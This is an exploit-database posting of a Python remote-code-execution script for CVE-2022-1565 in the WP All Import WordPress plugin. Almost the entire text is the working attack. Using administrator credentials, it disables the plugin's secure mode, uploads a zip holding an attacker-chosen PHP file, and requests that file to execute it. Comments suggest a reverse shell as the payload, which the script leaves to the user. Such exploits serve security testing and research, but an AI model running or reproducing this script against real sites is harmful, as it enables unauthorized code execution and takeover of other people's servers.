Share
## https://sploitus.com/exploit?id=PACKETSTORM:171578
# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)  
# Date: 11/05/2022  
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)  
# Vendor Homepage: https://www.wpallimport.com/  
# Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)  
# Version: <= 3.6.7 (tested: 3.6.7)  
# Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)  
# CVE: CVE-2022-1565  
  
#!/usr/bin/python  
import requests  
import re  
import os  
  
# WARNING: This exploit does NOT include the payload.  
# Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work.  
# If a file with the same name as the payload is already on the server, the upload will OVERWRITE it  
#   
# Please notice that I'm NOT the researcher who found this vulnerability  
  
# # # # # VULNERABILITY DESCRIPTION # # # # #  
# The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7.   
# This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible.   
  
# # # # # HOW THE EXPLOIT WORKS # # # # #  
# 1. Prepare the zip file:  
# - create a PHP file with your payload (e.g. rerverse shell)  
# - set the variable "payload_file_name" with the name of this file (e.g. "shell.php")  
# - create a zip file with the payload  
# - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip")  
#  
# 2. Login using an administrator account:  
# - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /)  
# - set the variable "admin_user" with the username of an administrator account  
# - set the variable "admin_pass" with the password of an administrator account  
#  
# 3. Get the wpnonce using the get_wpnonce_upload_file() method  
# - there are actually 2 types of wpnonce:  
# - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class.  
# This wpnonce allows us to change the plugin settings (check the step 4)  
# - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class.  
# This wpnonce allows us to upload the file  
#   
# 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class  
# - if the Secure Mode is enabled, the zip content will be put in a folder with a random name.  
# The exploit will disable the Secure Mode.  
# By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url).  
# The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)  
# - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode.  
#  
# 5. Upload the file using the upload_file(wpnonce_upload_file: str) method  
# - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully.  
# The response will contain a JSON that looks like this:  
# {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"}  
# As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed  
#  
# 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method  
#  
# 7. Activate the payload using the activate_payload() method  
# - you can define a method to activate the payload.  
# There reason behind this choice is that this exploit does NOT provide any payload.  
# Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters  
  
# # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # #  
# According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page"  
# I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?)  
# I had to find a workaround and so I did, by exploiting this option.  
# WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7  
  
# # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # #  
# In order for the exploit to work please consider the following:  
# 1. check the target_url and the admin credentials  
# 2. check the path of the zip file and the name of the payload (they can be different)  
# 3. if you're testing locally, try to set verify_ssl_certificate on False  
# 4. you can use print_response(http_response) to investigate further  
  
# Configure the following variables:  
target_url = "https://vulnerable.wp/wordpress" # Target base URL  
admin_user = "admin" # Administrator username  
admin_pass = "password" # Administrator password  
zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip)  
payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell)  
verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed.  
  
# Do NOT change the following variables  
wp_login_url = target_url + "/wp-login.php" # WordPress login page  
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings  
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here  
re_enable_secure_mode = False  
session = requests.Session()  
  
# This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files.  
class PluginSetting:  
# Regular Expression patterns  
pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>'  
pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>'  
pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};'  
http_response: requests.Response  
is_secure_mode_enabled: bool  
wpnonce_edit_settings: str  
wpnonce_upload_file: str  
  
def __init__(self, http_response: requests.Response):  
self.http_response = http_response  
self.check_if_secure_mode_is_enabled()  
self.retrieve_wpnonce_edit_settings()  
self.retrieve_wpnonce_upload_file()  
  
def check_if_secure_mode_is_enabled(self):  
# To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked  
# <input type="checkbox" value="1" id="secure" name="secure" checked="checked">  
regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)  
if not regex_search:  
print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")  
# print_response(self.http_response) # for debugging  
exit()  
self.is_secure_mode_enabled = "checked" in regex_search.group()  
  
def retrieve_wpnonce_edit_settings(self):  
# You can find this wpnonce in the source file by searching for the following input hidden:  
# <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9">  
# 052e2438f9 would be the wpnonce for editing the settings  
regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)  
if not regex_search:  
print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")  
# print_response(self.http_response) # for debugging  
exit()  
  
self.wpnonce_edit_settings = regex_search.group(1)  
  
def retrieve_wpnonce_upload_file(self):  
# You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b';  
# dee75fdb8b would be the wpnonce for the upload  
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)  
if not regex_search:  
print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")  
# print_response(self.http_response) # for debugging  
exit()  
  
self.wpnonce_upload_file = regex_search.group(1)  
  
def wp_login():  
global session  
data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }  
login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }  
  
# allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found.  
# Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not  
print("Trying to login...")  
response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)  
  
if response.status_code == 302:  
print("Logged in successfully!")  
return  
  
# print_response(response) # for debugging  
print("Login failed. If the credentials are correct, try to print the response to investigate further.")  
exit()  
  
def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:  
global session  
if set_to_enabled:  
print("Enabling secure mode...")  
else:  
print("Disabling secure mode...")  
  
print("Edit settings wpnonce value: " + wpnonce)  
data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }  
response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)  
  
if response.status_code == 403:  
print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")  
# print_response(response) # for debugging  
exit()  
return response  
  
def switch_back_to_secure_mode():  
global session  
  
print("Re-enabling secure mode...")  
response = session.get(url=wp_all_import_page_settings)  
plugin_setting = PluginSetting(response)  
  
if plugin_setting.is_secure_mode_enabled:  
print("Secure mode is already enabled")  
return  
  
response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)  
new_plugin_setting = PluginSetting(response)  
if not new_plugin_setting.is_secure_mode_enabled:  
print("Something went wrong: secure mode has not been re-enabled")  
# print_response(response) # for debugging  
exit()  
print("Secure mode has been re-enabled!")  
  
def get_wpnonce_upload_file() -> str:  
global session, re_enable_secure_mode   
# If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload  
# If Secure Mode is already disabled, it just returns the wpnonce for the upload  
  
print("Checking if secure mode is enabled...")  
response = session.get(url=wp_all_import_page_settings)  
plugin_setting = PluginSetting(response)  
  
if not plugin_setting.is_secure_mode_enabled:  
re_enable_secure_mode = False  
print("Insecure mode is already enabled!")  
return plugin_setting.wpnonce_upload_file  
  
print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")  
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)  
  
new_plugin_setting = PluginSetting(response)  
  
if new_plugin_setting.is_secure_mode_enabled:  
print("Something went wrong: secure mode has not been disabled")  
# print_response(response) # for debugging  
exit()  
  
print("Secure mode has been disabled!")  
re_enable_secure_mode = True  
return new_plugin_setting.wpnonce_upload_file  
  
def upload_file(wpnonce_upload_file: str):  
global session  
  
print("Uploading file...")  
print("Upload wpnonce value: " + wpnonce_upload_file)  
  
zip_file_name = os.path.basename(zip_file_to_upload)  
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file  
files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}  
data = { "name" : zip_file_name }  
response = session.post(url=upload_url, files=files, data=data)  
  
if response.status_code == 200:  
print("Server replied with HTTP 200 OK. The upload should be completed.")  
print("Payload should be here: " + payload_url)  
print("If you can't find the payload at this URL, try to print the response to investigate further")  
# print_response(response) # for debugging  
return 1  
else:  
print("Something went wrong during the upload. Try to print the response to investigate further")  
# print_response(response) # for debugging  
return 0  
  
def activate_payload():  
global session  
  
print("Activating payload...")  
response = session.get(url=payload_url)  
  
if response.status_code != 200:  
print("Something went wrong: could not find payload at " + payload_url)  
# print_response(response) # for debugging  
return  
  
def print_response(response:requests.Response):  
print(response.status_code)  
print(response.text)  
  
# Entry Point  
def Main():  
print("Target: " + target_url)  
print("Credentials: " + admin_user + ":" + admin_pass)  
  
# Do the login  
wp_login()  
  
# Retrieve wpnonce for upload.  
# It disables Secure Mode if needed, then returns the wpnonce  
wpnonce_upload_file = get_wpnonce_upload_file()  
  
# Upload the file  
file_uploaded = upload_file(wpnonce_upload_file)  
  
# Re-enable Secure Mode if needed  
if re_enable_secure_mode:  
switch_back_to_secure_mode()  
  
# Activate the payload  
if file_uploaded:  
activate_payload()  
  
Main()